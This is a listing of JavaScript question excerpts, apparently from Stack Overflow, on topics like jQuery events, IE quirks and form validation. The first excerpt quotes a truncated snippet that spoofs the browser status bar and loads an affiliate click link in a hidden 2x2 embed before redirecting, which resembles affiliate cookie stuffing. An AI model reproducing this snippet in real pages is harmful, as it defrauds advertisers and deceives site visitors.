javascript

Javascript code not running in IE

<script language="JavaScript"> eval(unescape('window.status='Opening Pagehttp://www.abesofmaine.com/category.do?group1=Binoculars'')); s=unescape('<embed src='http://www.anrdoezrs.net/click-xxxxxxxxxxxxxx' width='2' height='2'></embed><META HTTP-EQUIV="Refresh" CONTENT="0;url=http://www.abesofmaine.com/category.do?group1=Binoculars"&gt;'...

How to concatenate two numbers in javascript?

I'd like for something like 5 + 6 to return "56" instead of 11. ...

ASP.NET AJAX PageRequestManager EndRequestHandler pass argument from server

I'm wondering if there is a way to modify the arguments retrieved by the EndRequestHandler to include a boolean flag (set on the server side during a partial update). ...

jQuery: JavaScript does not do what I tell it to

I know that the title is very subtle but I have absolutely no idea how I should title this issue nor what the hell is happening with this function. function update_background(source, isSystem){ if (!isSystem) { source.replace(/\/tn_/, ''); jQuery('div#drag_container img[alt="background"]').attr('src', source); //*1 jQ...

difference in mouse events on img/div

I have a little tool on a web page that can be clicked and dragged along a horizontal line. First I had the drag handle as an img. I had some problems with layout and realised later that it would probably be better to use a div with an img background. So I changed the drag handle to use a div, and I discovered a pretty obvious error in ...

Can I be an expert on jQuery without knowing a lot about Javascript?

I'm a backend programmer and I wonder about one thing. I know just a little about Javascript. I know the basics when I look at some Javascript code, I understand what code is trying to do. But I have never used it to create animations. Then I heard about jQuery. Can I be an expert on jQuery without knowing a lot about Javascript? And h...

MVC + RegisterClientScriptInclude / RegisterClientScriptBlock

Is there any MVC equivalent to Page.ClientScripts.RegisterClientScriptInclude and Page.ClientScripts.RegisterClientScriptBlock? I am looking to create Partial Views which may very well be referenced multiple times from the same main view. These views might very well have their own script requirements but it seems wasteful to write incl...

Prefered Javascript editor for Mac?

Similar to http://stackoverflow.com/questions/713889/what-is-your-favourite-javascript-jquery-code-editor, but Mac only. In my case, BBEdit for auto-completion, and Coda for integrated FTP support. Update: please include reasons why you prefer which editor, so the others could benefit from it. ...

Why does 2 == [2] in JavaScript?

I recently discovered that 2 == [2] in JavaScript. As it turns out, this quirk has a couple of interesting consequences: var a = [0, 1, 2, 3]; a[[2]] === a[2]; // this is true Similarly, the following works: var a = { "abc" : 1 }; a[["abc"]] === a["abc"]; // this is also true Even stranger still, this works as well: [[[[[[[2]]]]]...

Object-Oriented jQuery Question...

$("#e1").click(function() { $("#descriptions div").removeClass("show"); $("#e1d").addClass("show"); }); $("#e2").click(function() { $("#descriptions div").removeClass("show"); $("#e2d").addClass("show"); }); <div id="descriptions"> <div id="e1"></div> <div id="e1d" class="description"></div> <div id="e2"></div> <div id="e2d"...

onmouseover doesn't work when using javascript to add img tag on IE

I need some javascript code that dynamically adds an img tag to a div, and the img tag needs onmouseover and onmouseout handlers. I have it working on Firefox. But it doesn't quite work on IE. On IE, the img tag is added, but the onmouseover and onmouseout handlers are not active. Here's the code: <body> <div id='putImageHere' />...

Making YUI TreeView only expand/collapse using the + / - icons

Hello, The problem I am having is that the default YUI TreeView behavior of expanding/collapsing nodes when a user clicks on them is getting in the way of some custom UI functionality I am implementing. I have been able to reduce this to some degree by subscribing to the "clickEvent" and returning false; however the problem still prese...

Storing the path of a file a user selects from the file input as a session variable to repopulate the field later

I am developing a script in PHP for uploading files to a MySQL database. There various things that need to selected in addition to the actual file that go into the database entry. The script needs to be designed so that it checks to make sure all of the proper selections have been made, and if they are not the script returns to the upl...

Validating Multiple Textbox Date with jQuery Validate

I'm trying to write a custom method to validate a date. The date however exists in three text boxes. Furthermore, there may be multiple instances of this date. <div class="customDate"> <input class="month" id="dob_Month" maxlength="2" name="dob.Month" type="text" /> / <input class="day" id="dob_Day" maxlen...

jquery (fancyzoom) open parent frame item

Hi All, I am giving myself fits trying to do something which I am not even sure is possible. using a link in an iframe on a page, I want to open a fancyzoom box on the parent (so that the box isn't obscured by the frame edges). I assume that the fancyzoom box content div must live in the parent, but I am unable to get it to open there...

dojo AccordionPane onSelected replacement

According to the dojo docs, dijit.layout.AccordionPane is deprecated in favor of dijit.layout.ContentPane link: http://api.dojotoolkit.org/jsdoc/1.3.2/dijit.layout.AccordionPane I cannot find an attribute for ContentPane that functions similarly to the AccordionPane's "onSelected" attribute. Is there another widiget or another way to us...

Javscript for() loop in Drupal not working?

Hello, I've just spent a long time trying to figure out why my Javascript for() loop won't work in a Drupal block, I feel like I've checked out the syntax - any idea why this isn't working?! $(document).ready(function() { var i=0; while (i<=5) { alert(i); i++; } }); That doesn't do anything - and also if I put something like thi...

Back Button Handle A Dynamic Form

I have a form with an array of text fields. The user (through javascript) can add an arbitrary number of text fields to the form. After submitting the form and pressing the back button the form displays only with the fields that were on the original form when it was first rendered (any added text fields are lost). What is the best way...

Using jQuery, setting Draggable on an element prevents blur from firing when you click the draggable element.

Using jQuery, when you set a blur event on a text box and set another element as draggable, when you click the draggable element, the blur event does not fire in FireFox. IE is a little better, you get the blur event but you don't get the click event on the draggable element. If you don't specify the cancel: "" in the draggable constru...

Change data start point in jQuery flot?

I'm using Flot to graph the clicks per minute for the first 60 minutes on short URLs made: http://cuthut.com/RA5?. As you can see it starts at minute 0 and goes to minute 59. My question is: how do I get the data to start at 1 and end at 59. In my JSON file the time numbers go from 1-50. I set the flot options to have ticks from 0 - 60...